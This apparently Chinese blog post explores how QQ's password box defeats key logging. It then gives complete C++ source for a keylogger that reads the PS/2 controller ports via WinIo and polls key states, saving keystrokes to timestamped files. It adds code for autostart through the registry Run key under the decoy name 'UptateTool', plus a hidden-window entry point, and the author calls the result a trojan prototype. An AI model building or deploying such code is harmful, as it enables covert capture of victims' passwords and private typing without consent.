突然對QQ的安全機(jī)制起了興趣..
想來利用檢測鍵盤狀態(tài)來做鍵盤記錄應(yīng)該很容易.安全軟件也不能認(rèn)為這種需求為非法.那QQ怎么防類似記錄呢.
做個(gè)實(shí)驗(yàn).
隨便寫個(gè)程序,每幀都去讀取鍵盤狀態(tài).行不行?
- for(int i = 8; i <=255; i++)
- {
- if( GetAsyncKeyState(i) & 1 == 1 )
- {
- cout << i;
- }
- }
很容易取得鍵盤狀態(tài),每幀之間sleep上5微秒.CPU也不會(huì)高也不會(huì)漏掉.
這樣做的話,在使用記事本或其他應(yīng)用的時(shí)候都是可以記錄的.但當(dāng)QQ登錄框的密碼項(xiàng)激活時(shí),我發(fā)現(xiàn)即使沒有按鍵盤,也會(huì)不斷有檢測到鍵盤按鍵被按下..
也就是說QQ的密碼框在不斷的偽造按鍵事件..
嗯,這個(gè)方法挺巧妙的.我實(shí)驗(yàn)了一下招商銀行的安全控件.沒有類似的偽造行為.
這么看QQ和安全控件的原理應(yīng)該一樣,HOOK掉鍵盤事件.隱藏或偽造真實(shí)事件.
WINDOWS的機(jī)制是后HOOK的鉤子先被通知,那如果我們也HOOK掉相同的事件呢?
百度一下..發(fā)現(xiàn)有人研究過.QQ有個(gè)定時(shí)器,隔段時(shí)間會(huì)重新UNHOOK,HOOK一次.哈哈.這個(gè)機(jī)制確實(shí)巧妙.不禁的要贊一下.
那再底層有沒有辦法監(jiān)控呢?.試試用WINIO直接讀取鍵盤中斷的方法.這個(gè)設(shè)計(jì)到很多硬件知識.實(shí)在是不懂,搜了一圈知道以下原理:
PS2的鍵盤芯片.會(huì)在有鍵盤按下時(shí)改變端口64的標(biāo)志位.這時(shí)候去讀取端口60的值,就能得到當(dāng)前按下的鍵盤按鍵的掃描碼.
相關(guān)資料參考 :
http://blog.csdn.net/vangoals/article/details/4405032
數(shù)據(jù)一旦被讀走,狀態(tài)寄存器就會(huì)清0.所以這里必須不停的監(jiān)控.CPU占用會(huì)較高.
于是寫了如下程序.每次啟動(dòng)時(shí)生成一個(gè)以當(dāng)前時(shí)間命名的文件,不停監(jiān)控鍵盤事件,如果10秒內(nèi)沒有鍵盤敲擊,則將之前的數(shù)據(jù)寫入文件.在WIN7,XP下運(yùn)行通過.
- // KeyBoardRecord.cpp : Defines the entry point for the console application.
- //
-
- #include <windows.h>
- #include <Winuser.h>
- #include <string>
- #include <fstream>
- #include <iostream>
-
- #include <time.h>
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/timeb.h>
- #include <assert.h>
-
- #include <..\WinIo\Source\Dll\winio.h>
-
- #pragma comment( lib, "..\\WinIo_v2\\Source\\Dll\\Release\\WinIo.lib" )
-
- using namespace std;
-
-
- string GetKey(int Key) // 判斷鍵盤按下什么鍵
- {
- string KeyString = "";
- //判斷符號輸入
- const int KeyPressMask=0x80000000; //鍵盤掩碼常量
- int iShift=GetKeyState(0x10); //判斷Shift鍵狀態(tài)
- bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift鍵
- if(Key >=186 && Key <=222)
- {
- switch(Key)
- {
- case 186:
- if(IS)
- KeyString = ":";
- else
- KeyString = ";";
- break;
- case 187:
- if(IS)
- KeyString = "+";
- else
- KeyString = "=";
- break;
- case 188:
- if(IS)
- KeyString = "<";
- else
- KeyString = ",";
- break;
- case 189:
- if(IS)
- KeyString = "_";
- else
- KeyString = "-";
- break;
- case 190:
- if(IS)
- KeyString = ">";
- else
- KeyString = ".";
- break;
- case 191:
- if(IS)
- KeyString = "?";
- else
- KeyString = "/";
- break;
- case 192:
- if(IS)
- KeyString = "~";
- else
- KeyString = "`";
- break;
- case 219:
- if(IS)
- KeyString = "{";
- else
- KeyString = "[";
- break;
- case 220:
- if(IS)
- KeyString = "|";
- else
- KeyString = "\\";
- break;
- case 221:
- if(IS)
- KeyString = "}";
- else
- KeyString = "]";
- break;
- case 222:
- if(IS)
- KeyString = '"';
- else
- KeyString = "'";
- break;
- }
- }
- //判斷鍵盤的第一行
- if (Key == VK_ESCAPE) // 退出
- KeyString = "[Esc]";
- else if (Key == VK_F1) // F1至F12
- KeyString = "[F1]";
- else if (Key == VK_F2)
- KeyString = "[F2]";
- else if (Key == VK_F3)
- KeyString = "[F3]";
- else if (Key == VK_F4)
- KeyString = "[F4]";
- else if (Key == VK_F5)
- KeyString = "[F5]";
- else if (Key == VK_F6)
- KeyString = "[F6]";
- else if (Key == VK_F7)
- KeyString = "[F7]";
- else if (Key == VK_F8)
- KeyString = "[F8]";
- else if (Key == VK_F9)
- KeyString = "[F9]";
- else if (Key == VK_F10)
- KeyString = "[F10]";
- else if (Key == VK_F11)
- KeyString = "[F11]";
- else if (Key == VK_F12)
- KeyString = "[F12]";
- else if (Key == VK_SNAPSHOT) // 打印屏幕
- KeyString = "[PrScrn]";
- else if (Key == VK_SCROLL) // 滾動(dòng)鎖定
- KeyString = "[Scroll Lock]";
- else if (Key == VK_PAUSE) // 暫停、中斷
- KeyString = "[Pause]";
- else if (Key == VK_CAPITAL) // 大寫鎖定
- KeyString = "[Caps Lock]";
-
- //-------------------------------------//
- //控制鍵
- else if (Key == 8) //<- 回格鍵
- KeyString = "[Backspace]";
- else if (Key == VK_RETURN) // 回車鍵、換行
- KeyString = "[Enter]\n";
- else if (Key == VK_SPACE) // 空格
- KeyString = " ";
- //上檔鍵:鍵盤記錄的時(shí)候,可以不記錄。單獨(dú)的Shift是不會(huì)有任何字符,
- //上檔鍵和別的鍵組合,輸出時(shí)有字符輸出
- /*
- else if (Key == VK_LSHIFT) // 左側(cè)上檔鍵
- KeyString = "[Shift]";
- else if (Key == VK_LSHIFT) // 右側(cè)上檔鍵
- KeyString = "[SHIFT]";
- */
- /*如果只是對鍵盤輸入的字母進(jìn)行記錄:可以不讓以下鍵輸出到文件*/
- //else if (Key == VK_TAB) // 制表鍵
- // KeyString = "[Tab]";
- //else if (Key == VK_LCONTROL) // 左控制鍵
- // KeyString = "[Ctrl]";
- //else if (Key == VK_RCONTROL) // 右控制鍵
- // KeyString = "[CTRL]";
- //else if (Key == VK_LMENU) // 左換檔鍵
- // KeyString = "[Alt]";
- //else if (Key == VK_LMENU) // 右換檔鍵
- // KeyString = "[ALT]";
- //else if (Key == VK_LWIN) // 右 WINDOWS 鍵
- // KeyString = "[Win]";
- //else if (Key == VK_RWIN) // 右 WINDOWS 鍵
- // KeyString = "[WIN]";
- //else if (Key == VK_APPS) // 鍵盤上 右鍵
- // KeyString = "右鍵";
- //else if (Key == VK_INSERT) // 插入
- // KeyString = "[Insert]";
- //else if (Key == VK_DELETE) // 刪除
- // KeyString = "[Delete]";
- //else if (Key == VK_HOME) // 起始
- // KeyString = "[Home]";
- //else if (Key == VK_END) // 結(jié)束
- // KeyString = "[End]";
- //else if (Key == VK_PRIOR) // 上一頁
- // KeyString = "[PgUp]";
- //else if (Key == VK_NEXT) // 下一頁
- // KeyString = "[PgDown]";
- //// 不常用的幾個(gè)鍵:一般鍵盤沒有
- //else if (Key == VK_CANCEL) // Cancel
- // KeyString = "[Cancel]";
- //else if (Key == VK_CLEAR) // Clear
- // KeyString = "[Clear]";
- //else if (Key == VK_SELECT) //Select
- // KeyString = "[Select]";
- //else if (Key == VK_PRINT) //Print
- // KeyString = "[Print]";
- //else if (Key == VK_EXECUTE) //Execute
- // KeyString = "[Execute]";
-
- //----------------------------------------//
- else if (Key == VK_LEFT) //上、下、左、右鍵
- KeyString = "[←]";
- else if (Key == VK_RIGHT)
- KeyString = "[→]";
- else if (Key == VK_UP)
- KeyString = "[↑]";
- else if (Key == VK_DOWN)
- KeyString = "[↓]";
- else if (Key == VK_NUMLOCK)//小鍵盤數(shù)碼鎖定
- KeyString = "[NumLock]";
- else if (Key == VK_ADD) // 加、減、乘、除
- KeyString = "+";
- else if (Key == VK_SUBTRACT)
- KeyString = "-";
- else if (Key == VK_MULTIPLY)
- KeyString = "*";
- else if (Key == VK_DIVIDE)
- KeyString = "/";
- else if (Key == 190 || Key == 110) // 小鍵盤 . 及鍵盤 .
- KeyString = ".";
- //小鍵盤數(shù)字鍵:0-9
- else if (Key == VK_NUMPAD0)
- KeyString = "0";
- else if (Key == VK_NUMPAD1)
- KeyString = "1";
- else if (Key == VK_NUMPAD2)
- KeyString = "2";
- else if (Key == VK_NUMPAD3)
- KeyString = "3";
- else if (Key == VK_NUMPAD4)
- KeyString = "4";
- else if (Key == VK_NUMPAD5)
- KeyString = "5";
- else if (Key == VK_NUMPAD6)
- KeyString = "6";
- else if (Key == VK_NUMPAD7)
- KeyString = "7";
- else if (Key == VK_NUMPAD8)
- KeyString = "8";
- else if (Key == VK_NUMPAD9)
- KeyString = "9";
- //-------------------------------------------//
-
- //-------------------------------------------//
- //*對字母的大小寫進(jìn)行判斷*//
- else if (Key >=97 && Key <= 122) // 字母:a-z
- {
- if (GetKeyState(VK_CAPITAL)) // 大寫鎖定
- {
- if(IS) //Shift按下:為小寫字母
- KeyString = Key;
- else // 只有大寫鎖定:輸出大寫字母
- KeyString = Key - 32;
- }
- else// 大寫沒有鎖定
- {
- if(IS) // 按下Shift鍵: 大寫字母
- KeyString = Key - 32;
- else // 沒有按Shift鍵: 小寫字母
- KeyString = Key;
- }
- }
- else if (Key >=48 && Key <= 57) // 鍵盤數(shù)字:0-9及上方的符號
- {
- if(IS)
- {
- switch(Key)
- {
- case 48: //0
- KeyString = ")";
- break;
- case 49://1
- KeyString = "!";
- break;
- case 50://2
- KeyString = "@";
- break;
- case 51://3
- KeyString = "#";
- break;
- case 52://4
- KeyString = "$";
- break;
- case 53://5
- KeyString = "%";
- break;
- case 54://6
- KeyString = "^";
- break;
- case 55://7
- KeyString = "&";
- break;
- case 56://8
- KeyString = "*";
- break;
- case 57://9
- KeyString = "(";
- break;
- }
- }
- else
- KeyString = Key;
- }
- if (Key != VK_LBUTTON || Key != VK_RBUTTON)
- {
- if (Key >=65 && Key <=90) //ASCII 65-90 為A-Z
- {
- if (GetKeyState(VK_CAPITAL)) // 大寫鎖定:輸出A-Z
- {
- if(IS) // 大寫鎖定,并且按下上檔鍵:輸出為小寫字母
- KeyString = Key + 32;
- else //只有大寫鎖定:輸出為大寫字母
- KeyString = Key;
- }
- else // 大寫沒有鎖定:a-z
- {
- if(IS)
- {
- KeyString = Key;
- }
- else
- {
- Key = Key + 32;
- KeyString = Key;
- }
- }
- }
- }
-
- return KeyString;
- }
-
- //多少秒算一次間隔
- #define RECORD_INTERVAL 10
-
- void main()
- {
- cout << "Start";
- if( InitializeWinIo() == false )
- {
- cout << "can not Init WinIO : " << GetLastError();
- ShutdownWinIo();
- return;
- }
-
- string Filename;
- fstream FStream;
-
- char szCurDir[MAX_PATH];
- GetCurrentDirectoryA( MAX_PATH, szCurDir );
-
- time_t _curTime;
- _curTime = time( NULL );
-
- struct tm *tblock;
- tblock = localtime( &_curTime );
-
- char szTimeBuf[128];
- sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );
- //sprintf_s( szTimeBuf, 128,("%d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday );
-
- Filename = string(szCurDir) + "\\" + string( szTimeBuf ) + ".txt";
-
- time_t _curNextRecordTime = _curTime + RECORD_INTERVAL;
-
- FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );
- assert( FStream.fail() == false );
- while( FStream.fail() )
- {
- Sleep( 10000 );
- FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );
- }
-
- if ( FStream.fail() )
- {
- return;
- }
-
- DWORD _lastVal = 0;
- string _strRecord;
- while(true)
- {
- _curTime = time( NULL );
-
- string TempString = "";
- DWORD dwPortVal = 0;
- if ( GetPortVal( 0x64, &dwPortVal, 1 ) )
- {
- if ( _lastVal != dwPortVal )
- {
- _lastVal = dwPortVal;
- //cout << "0x64 : " << dwPortVal << "\n";
- if ( dwPortVal & 0x1 == 1 )
- {
- DWORD dwKeyVal;
- GetPortVal( 0x60, &dwKeyVal, 1 );
- DWORD relKey = MapVirtualKey( dwKeyVal, 1 );
- TempString += GetKey( relKey );
- //cout << "0x60 : " << relKey << "\n";
- //a 30 158 s 31 159 b 48 176
- cout << TempString;
-
- }
- }
- }
- for(int i = 8; i <=255; i++)
- {
- if( GetAsyncKeyState(i) & 1 == 1)
- {
- TempString += GetKey( i );
- cout << TempString;
- }
- }
-
- if ( !TempString.empty() )
- {
- if ( _strRecord.empty() )
- {
- sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );
- _strRecord += string( szTimeBuf ) + "\t ";
- }
- _strRecord += TempString;
-
- _curNextRecordTime = _curTime + RECORD_INTERVAL;
- }
-
- if ( _curNextRecordTime < _curTime )
- {
- if ( !_strRecord.empty() )
- {
- _strRecord += "\n";
- FStream.write(_strRecord.c_str(), _strRecord.size());
- FStream.close();
- FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
-
- _strRecord = "";
- }
-
- _curNextRecordTime = _curTime + RECORD_INTERVAL;
- }
- }
-
- ShutdownWinIo();
-
- }
那..既然做類似研究,就把相關(guān)的都做了..比如說開機(jī)啟動(dòng)....
- char szModName[MAX_PATH];
- HMODULE GetModH = GetModuleHandle(NULL);
- GetModuleFileName( GetModH, szModName, MAX_PATH );
-
- HKEY hKey;
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
- RegSetValueEx(hKey, "UptateTool", 0, REG_SZ,(const unsigned char*)szModName,sizeof(szModName));
- RegCloseKey( hKey );
嗯..再比如說隱藏程序運(yùn)行的界面...將程序改為WINDOWS.原來是CONSOLE.然后添加
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPTSTR lpCmdLine,
- int nCmdShow)
- {
- main();
- return 0;
- }
嗯..算是一個(gè)木馬的雛形了..就是還搞不懂USB鍵盤應(yīng)該怎么做.原理一樣么?求達(dá)人指教...
|